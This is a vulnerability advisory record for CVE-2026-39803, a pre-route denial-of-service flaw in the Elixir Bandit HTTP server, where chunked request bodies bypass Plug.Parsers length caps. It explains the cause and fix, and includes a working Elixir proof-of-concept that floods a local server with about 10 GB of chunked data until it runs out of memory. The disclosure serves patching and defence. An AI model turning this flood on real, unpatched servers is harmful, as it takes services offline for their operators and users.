{"id":"CVE-2026-39803","aliases":["EEF-CVE-2026-39803","GHSA-9q9q-324x-93r2"],"url":"https://o3.security/vulnerability/CVE-2026-39803","summary":"HTTP/1 chunked body reader ignores length cap in bandit","details":"### Summary\n\nBandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~> 1.10\"}, {:plug, \"~> 1.19\"}])\n\ndefmodule DemoApp do\n  use Plug.Builder\n\n  # The `length` option here is ignored by the attack\n  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n  plug :respond\n\n  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(<<?A>>, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n  :gen_tcp.send(sock, \"\"\"\n  POST / HTTP/1.1\\r\n  Host: 127.0.0.1\\r\n  Transfer-Encoding: chunked\\r\n  Content-Type: application/json\\r\n  Connection: close\\r\n  \\r\n  \"\"\")\n\nEnum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.","published":"2026-05-13T13:36:09.648Z","modified":"2026-08-12T03:51:44.839581439Z","cvss":null,"epss":{"score":0.00642,"percentile":0.47814,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Hex","name":"bandit","fixedVersion":"1.11.1"}],"fix":{"url":"https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab","label":"mtrudel/bandit@ae3520d"},"references":[{"type":"WEB","url":"https://cna.erlef.org/cves/CVE-2026-39803.html"},{"type":"WEB","url":"https://github.com"},{"type":"WEB","url":"https://osv.dev/vulnerability/EEF-CVE-2026-39803"},{"type":"WEB","url":"https://repo.hex.pm"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39803.json"},{"type":"ADVISORY","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39803"},{"type":"FIX","url":"https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"},{"type":"PACKAGE","url":"https://github.com/mtrudel/bandit"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:44.839581439Z"}}